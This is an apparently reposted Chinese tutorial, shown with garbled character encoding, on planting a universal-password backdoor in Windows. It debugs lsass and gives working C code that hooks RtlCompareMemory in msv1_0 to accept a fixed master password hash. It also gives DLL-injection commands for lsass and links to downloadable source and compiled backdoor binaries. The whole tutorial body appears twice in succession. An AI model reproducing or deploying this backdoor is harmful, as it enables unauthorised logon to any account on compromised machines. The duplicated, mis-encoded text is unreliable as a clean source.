教你利用IAT hook實現(xiàn)windows通用密碼后門
發(fā)布日期:2022-01-03 01:51 | 文章來源:腳本之家
先不管是不是真的有,我們可以自己實現(xiàn)一個這樣的后門。
先簡單介紹一下windows登陸過程中的一些過程。
winlogon進程用gina.dll獲取用戶名和密碼,通過LPC傳給lsass進程。
然后lsass進程調(diào)用默認認證包msv1_0.dll來驗證密碼的對錯。
而msv1_0則從SAM中獲得用戶的信息,包括密碼的哈希。
要實現(xiàn)這樣一個后門,首先要找到登陸驗證這一系列函數(shù)的最底層的一個,然后在那里做手腳。
很明顯,這個最底層的函數(shù)在lsass進程的msv1_0.dll模塊中。
lsass調(diào)用msv1_0.dll的是這個函數(shù):
代碼:
msv1_0!LsaApLogonUserEx2
LsaApLogonUserEx2 in MSDN
那我們就應該調(diào)試lsass進程然后在msv1_0!LsaApLogonUserEx2下斷點。
這里我使用windbg和vmware并利用dbgsrv進行遠程的用戶態(tài)調(diào)試。
http://blogs.msdn.com/spatdsg/archiv…27/507265.aspx
上面Spat在blog中介紹了如何用dbgsrv調(diào)試(Debugging LSA via dbgsrv.exe)。
在虛擬機(被調(diào)試端)運行
代碼:
dbgsrv.exe -t tcp:port=1234,password=spat
然后在調(diào)試端運行
代碼:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
然后選擇附加lsass進程。
但這里我們不能登陸之后再運行dbgsrv,那樣dbgsrv就被關(guān)掉了,所以我利用windows的任務計劃讓dbgsrv開機就運行起來。
虛擬機啟動后,dbgsrv也起來了,然后用windbg連上并附上lsass進程。
在下了斷點msv1_0!LsaApLogonUserEx2后,讓lsass繼續(xù)運行。
然后登陸,果然windbg斷下來了。
這個時候給大家介紹windbg的一個強勁的命令,那就是wt,它能所有的記錄函數(shù)調(diào)用關(guān)系,一直記錄到ret,具體用法請看windbg幫助。
我猜wt是單步運行,所以很慢。
但是wt輸出的文本很多,太難看了,于是我寫了個python腳本把wt的輸出轉(zhuǎn)成一個TreeCtrl
大家注意看我鼠標點上的那個函數(shù):ntdll!RtlCompareMemory。
經(jīng)過調(diào)試我發(fā)現(xiàn)這個函數(shù)就是我要找的那個“最底層的函數(shù)”。
代碼:
SIZE_T
RtlCompareMemory(
IN CONST VOID *Source1,
IN CONST VOID *Source2,
IN SIZE_T Length
);
RtlCompareMemory in MSDN
并且我還發(fā)現(xiàn)了驗證密碼時這個函數(shù)3個參數(shù)的細節(jié),
Source1是從SAM中取出的用戶密碼的Unicode形式的md4哈希,
Source2是用戶輸入的密碼的Unicode形式的md4哈希,
Length總是16,因為md4的哈希就是16位。
很容易我寫出了下面這個替代的函數(shù):
代碼:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory(a, b, len);
}
其中pRtlCompareMemory是全局變量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密碼的哈希。
使用MyRtlCompareMemory來hook掉RtlCompareMemory,就可以實現(xiàn)預定的功能了。
如果要比較的是16位的,并且第二段內(nèi)存與我們的哈希一樣那就直接放行,不管第一段內(nèi)存是什么。
也許有朋友會問,你這是hook了msv1_0模塊內(nèi)所有調(diào)用RtlCompareMemory的地方,不會出錯嗎?
放心吧,哪有那么巧,要比較的是16位的而且第二段內(nèi)存又和我們的哈希一模一樣?
要hook這個函數(shù)有很多方法,
我選擇了最懶的一種,IAT hook dll注入。
于是我寫了一個小工具來注入dll:DllInject
代碼:
C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-i | -u | -U) pid filename
-i: Inject
-u: UnInject once
-U: UnInject at all
passdoor.dll是要注入到lsass進程的dll,這個dll在DllMain中實現(xiàn)了IAT hook,很土的技術(shù)了,就不貼代碼了,網(wǎng)上一搜一籮筐。
然后我又寫了一個小工具:pdconfig
其實就是改passdoor.dll中的哈希,以免要換密碼是又要重新編譯passdoor.dll。
使用方法:
代碼:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll
卸載方法:
代碼:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll
http://clyfish.googlepages.com/passdoor.rar
這里是本文中相關(guān)工具的源碼以及編譯好的二進制文件。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代碼均使用MingW gcc4.2.1編譯。
先簡單介紹一下windows登陸過程中的一些過程。
winlogon進程用gina.dll獲取用戶名和密碼,通過LPC傳給lsass進程。
然后lsass進程調(diào)用默認認證包msv1_0.dll來驗證密碼的對錯。
而msv1_0則從SAM中獲得用戶的信息,包括密碼的哈希。
要實現(xiàn)這樣一個后門,首先要找到登陸驗證這一系列函數(shù)的最底層的一個,然后在那里做手腳。
很明顯,這個最底層的函數(shù)在lsass進程的msv1_0.dll模塊中。
lsass調(diào)用msv1_0.dll的是這個函數(shù):
代碼:
msv1_0!LsaApLogonUserEx2
LsaApLogonUserEx2 in MSDN
那我們就應該調(diào)試lsass進程然后在msv1_0!LsaApLogonUserEx2下斷點。
這里我使用windbg和vmware并利用dbgsrv進行遠程的用戶態(tài)調(diào)試。
http://blogs.msdn.com/spatdsg/archiv…27/507265.aspx
上面Spat在blog中介紹了如何用dbgsrv調(diào)試(Debugging LSA via dbgsrv.exe)。
在虛擬機(被調(diào)試端)運行
代碼:
dbgsrv.exe -t tcp:port=1234,password=spat
然后在調(diào)試端運行
代碼:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
然后選擇附加lsass進程。
但這里我們不能登陸之后再運行dbgsrv,那樣dbgsrv就被關(guān)掉了,所以我利用windows的任務計劃讓dbgsrv開機就運行起來。
虛擬機啟動后,dbgsrv也起來了,然后用windbg連上并附上lsass進程。
在下了斷點msv1_0!LsaApLogonUserEx2后,讓lsass繼續(xù)運行。
然后登陸,果然windbg斷下來了。
這個時候給大家介紹windbg的一個強勁的命令,那就是wt,它能所有的記錄函數(shù)調(diào)用關(guān)系,一直記錄到ret,具體用法請看windbg幫助。
我猜wt是單步運行,所以很慢。
但是wt輸出的文本很多,太難看了,于是我寫了個python腳本把wt的輸出轉(zhuǎn)成一個TreeCtrl
大家注意看我鼠標點上的那個函數(shù):ntdll!RtlCompareMemory。
經(jīng)過調(diào)試我發(fā)現(xiàn)這個函數(shù)就是我要找的那個“最底層的函數(shù)”。
代碼:
SIZE_T
RtlCompareMemory(
IN CONST VOID *Source1,
IN CONST VOID *Source2,
IN SIZE_T Length
);
RtlCompareMemory in MSDN
并且我還發(fā)現(xiàn)了驗證密碼時這個函數(shù)3個參數(shù)的細節(jié),
Source1是從SAM中取出的用戶密碼的Unicode形式的md4哈希,
Source2是用戶輸入的密碼的Unicode形式的md4哈希,
Length總是16,因為md4的哈希就是16位。
很容易我寫出了下面這個替代的函數(shù):
代碼:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory(a, b, len);
}
其中pRtlCompareMemory是全局變量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密碼的哈希。
使用MyRtlCompareMemory來hook掉RtlCompareMemory,就可以實現(xiàn)預定的功能了。
如果要比較的是16位的,并且第二段內(nèi)存與我們的哈希一樣那就直接放行,不管第一段內(nèi)存是什么。
也許有朋友會問,你這是hook了msv1_0模塊內(nèi)所有調(diào)用RtlCompareMemory的地方,不會出錯嗎?
放心吧,哪有那么巧,要比較的是16位的而且第二段內(nèi)存又和我們的哈希一模一樣?
要hook這個函數(shù)有很多方法,
我選擇了最懶的一種,IAT hook dll注入。
于是我寫了一個小工具來注入dll:DllInject
代碼:
C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-i | -u | -U) pid filename
-i: Inject
-u: UnInject once
-U: UnInject at all
passdoor.dll是要注入到lsass進程的dll,這個dll在DllMain中實現(xiàn)了IAT hook,很土的技術(shù)了,就不貼代碼了,網(wǎng)上一搜一籮筐。
然后我又寫了一個小工具:pdconfig
其實就是改passdoor.dll中的哈希,以免要換密碼是又要重新編譯passdoor.dll。
使用方法:
代碼:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll
卸載方法:
代碼:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll
http://clyfish.googlepages.com/passdoor.rar
這里是本文中相關(guān)工具的源碼以及編譯好的二進制文件。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代碼均使用MingW gcc4.2.1編譯。
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
下一篇: